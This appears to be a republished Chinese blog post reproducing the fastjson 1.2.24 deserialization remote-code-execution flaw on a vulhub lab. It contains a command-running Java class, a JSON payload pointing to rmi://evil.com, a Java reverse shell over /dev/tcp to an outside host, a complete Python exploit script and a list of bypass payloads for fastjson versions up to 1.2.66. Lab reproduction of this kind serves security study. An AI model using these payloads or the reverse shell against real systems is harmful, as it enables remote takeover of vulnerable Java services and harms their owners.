溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

怎么解析fastjson 1.2.24 反序列化RCE漏洞復(fù)現(xiàn)

發(fā)布時(shí)間:2021-12-14 10:11:43 來(lái)源:億速云 閱讀:140 作者:柒染 欄目:網(wǎng)絡(luò)管理

本篇文章為大家展示了怎么解析fastjson 1.2.24 反序列化RCE漏洞復(fù)現(xiàn),內(nèi)容簡(jiǎn)明扼要并且容易理解,絕對(duì)能使你眼前一亮,通過(guò)這篇文章的詳細(xì)介紹希望你能有所收獲。

fastjson 1.2.24 反序列化導(dǎo)致任意命令執(zhí)行漏洞

Port : 8090

fastjson 在解析 json 的過(guò)程中,支持使用 autoType 來(lái)實(shí)例化某一個(gè)具體的類(lèi),并調(diào)用該類(lèi)的 set/get 方法來(lái)訪問(wèn)屬性。通過(guò)查找代碼中相關(guān)的方法,即可構(gòu)造出一些惡意利用鏈。

根據(jù)官方給出的補(bǔ)丁文件,主要的更新在這個(gè) checkAutoType 函數(shù)上,而這個(gè)函數(shù)的主要功能就是添加了黑名單,將一些常用的反序列化利用庫(kù)都添加到黑名單中。

漏洞環(huán)境

如下測(cè)試環(huán)境借助 vulhub 的 docker 鏡像,附上 P 師傅的鏈接:https://github.com/vulhub/vulhub

運(yùn)行測(cè)試環(huán)境:

docker-compose up -d

環(huán)境運(yùn)行后,訪問(wèn) http://your-ip:8090即可看到 JSON 格式的輸出。

怎么解析fastjson 1.2.24 反序列化RCE漏洞復(fù)現(xiàn)

我們向這個(gè)地址 POST 一個(gè) JSON 對(duì)象,即可更新服務(wù)端的信息:

curl http://your-ip:8090/-H "Content-Type: application/json" --data '{"name":"hello", "age":20}'

漏洞復(fù)現(xiàn)

因?yàn)槟繕?biāo)環(huán)境是 Java 8u102,沒(méi)有 com.sun.jndi.rmi.object.trustURLCodebase的限制,我們可以使用 com.sun.rowset.JdbcRowSetImpl的利用鏈,借助 JNDI 注入來(lái)執(zhí)行命令。

首先編譯并上傳命令執(zhí)行代碼,如 http://x.x.x.x:8989/TouchFile.class

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash","-c","touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

怎么解析fastjson 1.2.24 反序列化RCE漏洞復(fù)現(xiàn)

怎么解析fastjson 1.2.24 反序列化RCE漏洞復(fù)現(xiàn)怎么解析fastjson 1.2.24 反序列化RCE漏洞復(fù)現(xiàn)

注意:

  • String commands 在部分環(huán)境下需要添加 bash -c ,否則無(wú)法執(zhí)行命令。

  • 如果沒(méi)有 web 服務(wù),其實(shí)可以通過(guò) php -S 0.0.0.0: port或者 python -m SimpleHTTPServer port臨時(shí)搭建一個(gè) web 服務(wù)器,其發(fā)布目錄即當(dāng)前執(zhí)行目錄。

然后我們借助 marshalsec項(xiàng)目,啟動(dòng)一個(gè) RMI 服務(wù)器,監(jiān)聽(tīng) 9999 端口,并制定加載遠(yuǎn)程類(lèi) TouchFile.class

如果沒(méi)有 maven 環(huán)境,需要安裝一下,如下是安裝步驟(以 win10 為例):

  1. 從官網(wǎng)下載安裝包:apache-maven-3.6.3-bin.zip

  2. 解壓 apache-maven-3.6.3-bin.zip

  3. 配置環(huán)境變量,MAVEN_HOME為解壓后的根目錄,我們最終需要將 %MAVEN_HOME%\bin;加到 Path 全局變量下。
    怎么解析fastjson 1.2.24 反序列化RCE漏洞復(fù)現(xiàn)

  4. 驗(yàn)證是否成功,如果無(wú)報(bào)錯(cuò),則執(zhí)行成功,例如:

C:\Users\XXXX> mvn -version
Apache Maven 3.6.3 (cecedd343002696d0abb50b32b541b8a6ba2883f)
Maven home: D:\System_Relation\apache-maven-3.6.3\bin\..
Java version: 1.7.0_79, vendor: Oracle Corporation, runtime: D:\Program Files\Java\jdk1.7.0_79\jre
Default locale: zh_CN, platform encoding: GBK
OS name: "windows 8.1", version: "6.3", arch: "amd64", family: "windows"
  1. 通過(guò) git clone 或者直接下載壓縮包的方式,將項(xiàng)目源代碼完成的克隆下來(lái)
    怎么解析fastjson 1.2.24 反序列化RCE漏洞復(fù)現(xiàn)

  2. 在項(xiàng)目目錄下,直接編譯。
    怎么解析fastjson 1.2.24 反序列化RCE漏洞復(fù)現(xiàn)

  3. 最終會(huì)生成 marshalsec-0.0.3-SNAPSHOT-all.jar這樣一個(gè)文件
    怎么解析fastjson 1.2.24 反序列化RCE漏洞復(fù)現(xiàn)

  4. 將生成的 marshalsec-0.0.3-SNAPSHOT-all.jar包部署到公網(wǎng)的一臺(tái) VPS 上,執(zhí)行如下腳本

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://x.x.x.x:port/#TouchFile" 9999

如果上述的步驟一直不成功,可以直接使用別人已編譯好的 jar 包,推薦一個(gè) github項(xiàng)目,選擇【fastjson】=>【marshalsec-0.0.3-SNAPSHOT-all.jar 】:

  • 漏洞利用腳本庫(kù)注意:該 jar 包使用 jdk 1.8 編譯。

向靶場(chǎng)服務(wù)器發(fā)送Payload,帶上 RMI 的地址:

POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/TouchFile",
        "autoCommit":true
    }
}

怎么解析fastjson 1.2.24 反序列化RCE漏洞復(fù)現(xiàn)

怎么解析fastjson 1.2.24 反序列化RCE漏洞復(fù)現(xiàn)

可見(jiàn),命令 touch /tmp/success已成功執(zhí)行:怎么解析fastjson 1.2.24 反序列化RCE漏洞復(fù)現(xiàn)

引申:

既然可以執(zhí)行命令,自然可以反彈 shell,只需要修改之前的 Touch_File.java 中的 command 部分即可。以下是代碼參考:

// javac shell_re.java
 import java.lang.Runtime;
 import java.lang.Process;
 
 public class shell_re {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/19527;cat <&5 | while read line; do $line 2>&5 >&amp5; done"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
 }

反彈 shell 成功:

怎么解析fastjson 1.2.24 反序列化RCE漏洞復(fù)現(xiàn)

EXP

fastjson<=1.2.24

exphub

#!/usr/bin/python3
# -*- coding:utf-8 -*-
# author:zhzyker
# from:https://github.com/zhzyker/exphub

import sys
import requests

if len(sys.argv)!=3:
    print('+------------------------------------------------------------------------------------+')
    print('+ DES: by zhzyker as https://github.com/zhzyker/exphub                               +')
    print('+      RMIServer: rmi://ip:port/exp                                                  +')
    print('+      LDAPServer: ldap://ip:port/exp                                                +')
    print('+------------------------------------------------------------------------------------+')
    print('+ USE: python3 <filename> <target-ip> <RMI/LDAPServer>                               +')
    print('+ EXP: python3 fastjson-1.2.24_rce.py http://1.1.1.1:8080/ ldap://2.2.2.2:88/Object  +')
    print('+ VER: fastjson<=1.2.24                                                              +')
    print('+------------------------------------------------------------------------------------+')
    sys.exit()

url = sys.argv[1]
server = sys.argv[2]

headers = {
    'Host': "127.0.0.1",
    'Content-Type': "application/json",
    'Accept-Encoding': "gzip, deflate",
    'Connection': "close",
    'Accept': "*/*",
    'User-Agent': "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36"
    }
    
payload = """
    {
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"%s",
            "autoCommit":true
        }
    }
    """ %server

try:
    r = requests.post(url, payload, headers=headers, timeout=10)
    print ("[+] RMI/LDAP Send Success ")
except:
    print ("[-] RMI/LDAP Send Failed ")

此外還有其他版本的 Exp,這里不再一一列舉。單獨(dú)列一下 payload:

fastjson<=1.2.41
payload = """
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"%s", "autoCommit":true}
""" %server
fastjson<=1.2.42
payload = """
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"%s", "autoCommit":true}
""" %server
fastjson<=1.2.43
payload = """
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"%s", "autoCommit":true}
""" %server
fastjson<=1.2.45
payload = """
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"%s"}}
""" %server
fastjson<=1.2.47
payload = """
{
"a": {
"@type": "java.lang.Class", 
"val": "com.sun.rowset.JdbcRowSetImpl"
}, 
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl", 
"dataSourceName": "%s", 
"autoCommit": true
}
}
""" %server
fastjson<=1.2.62
payload = """
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"%s"}
""" %server
fastjson<=1.2.66
payload = """
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"%s"}
""" %server

安裝過(guò)程中的故障

Q1: maven-surefire-plugin(2.19.1) 無(wú)法通過(guò) pom.xml 安裝。

怎么解析fastjson 1.2.24 反序列化RCE漏洞復(fù)現(xiàn)

A1:由于官網(wǎng)對(duì)這些插件的及時(shí)更新,而 pom.xml 中的鏈接已無(wú)法獲取到對(duì)應(yīng)的版本:

怎么解析fastjson 1.2.24 反序列化RCE漏洞復(fù)現(xiàn)

截至我寫(xiě)這篇文章時(shí),官網(wǎng)推薦的寫(xiě)法已變成 3.0.0-M5

怎么解析fastjson 1.2.24 反序列化RCE漏洞復(fù)現(xiàn)

因此可以通過(guò)以下方式來(lái)解決

  1. 離線下載的方式,下載老插件

  2. (推薦)通過(guò)配置 mirror 鏡像來(lái)解決這個(gè),參考資料:https://developer.aliyun.com/article/613873

Q2: IDEA build 項(xiàng)目時(shí),提示“[ERROR] Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:3.1:compile (default-compile) on project marshalsec: Fatal error compiling: 無(wú)效的目標(biāo)發(fā)行版: 1.8 -> [Help 1]

A2:通過(guò)調(diào)整 JDK 版本解決,參考鏈接:https://www.cnblogs.com/shenrong/p/7129210.htmlhttps://blog.csdn.net/fanrenxiang/article/details/80864908

Q3: IDEA build 項(xiàng)目時(shí),提示 “Failed to execute goal org.apache.maven.plugins:maven-surefire-plugin:2.19.1:test (default-test) on project marshalsec: There are test failures

怎么解析fastjson 1.2.24 反序列化RCE漏洞復(fù)現(xiàn)

A3:surefire 是一個(gè)測(cè)試插件,默認(rèn)情況下,surefire 會(huì)執(zhí)行文件名以 Test 開(kāi)頭或結(jié)尾的測(cè)試用例,或者是以 TestCase 結(jié)尾的測(cè)試用例。其實(shí)可以跳過(guò)該步驟。參考鏈接:https://www.cnblogs.com/lxcy/p/8279899.html

怎么解析fastjson 1.2.24 反序列化RCE漏洞復(fù)現(xiàn)

上述內(nèi)容就是怎么解析fastjson 1.2.24 反序列化RCE漏洞復(fù)現(xiàn),你們學(xué)到知識(shí)或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識(shí)儲(chǔ)備,歡迎關(guān)注億速云行業(yè)資訊頻道。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI